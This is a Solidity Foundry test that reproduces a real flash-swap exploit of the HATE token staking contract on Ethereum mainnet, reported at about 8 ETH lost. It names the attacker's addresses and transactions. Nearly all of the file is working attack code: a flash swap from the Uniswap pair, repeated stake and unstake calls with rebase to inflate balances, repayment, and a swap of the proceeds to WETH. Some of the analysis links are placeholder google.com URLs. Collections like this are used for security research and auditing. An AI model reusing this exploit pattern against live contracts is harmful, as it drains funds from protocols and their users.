HeavensGate_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : ~8ETH
// Attacker : https://etherscan.io/address/0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6
// Attack Contract : https://etherscan.io/address/0x8faa53a742fc732b04db4090a21e955fe5c230be
// Attack Contract : https://etherscan.io/address/0x38702e5c98ba4ad4b786d5a075a5c74694cd616d
// Attack Tx : https://etherscan.io/tx/0xe28ca1f43036f4768776805fb50906f8172f75eba3bf1d9866bcd64361fda834
// Attack Tx : https://etherscan.io/tx/0x8e1b0ab098c4cc5f632e00b0842b5f825bbd15ded796d4a59880bb724f6c5372

// @Analysis
// Post-mortem : https://www.google.com/
// Twitter Guy : https://twitter.com/hexagate_/status/1699003711937216905
// Hacking God : https://www.google.com/

interface Staking {
    function stake(address _to, uint256 _amount) external;

    function unstake(address _to, uint256 _amount, bool _rebase) external;

    function rebase() external;
}

interface IsHATE is IERC20 {
    function rebase(uint256 amount_, uint256 epoch_) external returns (uint256);

    function circulatingSupply() external view returns (uint256);
}

contract ContractTest is Test {
    IERC20 HATE = IERC20(0x7b768470590B8A0d28fC714d0A70754d556D14eD);
    IWETH WETH = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));
    Uni_Pair_V2 HATE_ETH_Pair = Uni_Pair_V2(0x738dab4AF8D21b7aafb73545D79D3B4831eE79dA);
    Uni_Router_V2 uniRouter = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    Staking HATEStaking = Staking(0x8EBd6c7D2B79CA4Dc5FBdEc239a8Bb0F214212b8);
    IsHATE sHATE = IsHATE(0xf829d7014Db17D6DCe448bE958c7e4983cdb1F77);
    uint256 flashAmount;

    function setUp() public {
        vm.createSelectFork("mainnet");
        vm.label(address(HATE), "HATE");
        vm.label(address(WETH), "WETH");
        vm.label(address(HATE_ETH_Pair), "Uniswap HATE");
        vm.label(address(HATEStaking), "HATEStaking");
        vm.label(address(sHATE), "sHATE");
    }

    function testExploit1() external {
        vm.rollFork(18_069_528 - 1);
        approveAll();
        console.log("Before Start: %d ETH", WETH.balanceOf(address(this)));
        flashAmount = HATE.balanceOf(address(HATE_ETH_Pair)) * 9 / 10;
        HATE_ETH_Pair.swap(flashAmount, 0, address(this), hex"03");

        address[] memory path = new address[](2);
        (path[0], path[1]) = (address(HATE), address(WETH));
        uniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            HATE.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
        emit log_named_decimal_uint("WETH balance after swap", WETH.balanceOf(address(this)), WETH.decimals());
    }

    function testExploit2() external {
        vm.rollFork(18_071_199 - 1);
        approveAll();
        console.log("Before Start: %d ETH", WETH.balanceOf(address(this)));
        flashAmount = HATE.balanceOf(address(HATE_ETH_Pair)) * 7 / 10;
        HATE_ETH_Pair.swap(flashAmount, 0, address(this), hex"1e");

        address[] memory path = new address[](2);
        (path[0], path[1]) = (address(HATE), address(WETH));
        uniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            HATE.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
        emit log_named_decimal_uint("WETH balance after swap", WETH.balanceOf(address(this)), WETH.decimals());
    }

    function uniswapV2Call(address, /*sender*/ uint256 amount0, uint256, /*amount1*/ bytes calldata data) external {
        uint256 i = 0;
        while (i < uint8(data[0])) {
            uint256 balanceAttacker = HATE.balanceOf(address(this));
            HATEStaking.stake(address(this), balanceAttacker);
            uint256 sTokenBalance = sHATE.balanceOf(address(this));
            HATEStaking.unstake(address(this), sTokenBalance, true);
            i += 1;
        }
        HATE.transfer(address(HATE_ETH_Pair), uint256(amount0 * 1000 / 997) + 1);
    }

    function approveAll() internal {
        HATE.approve(address(HATEStaking), type(uint256).max);
        HATE.approve(address(uniRouter), type(uint256).max);
        sHATE.approve(address(HATEStaking), type(uint256).max);
    }
}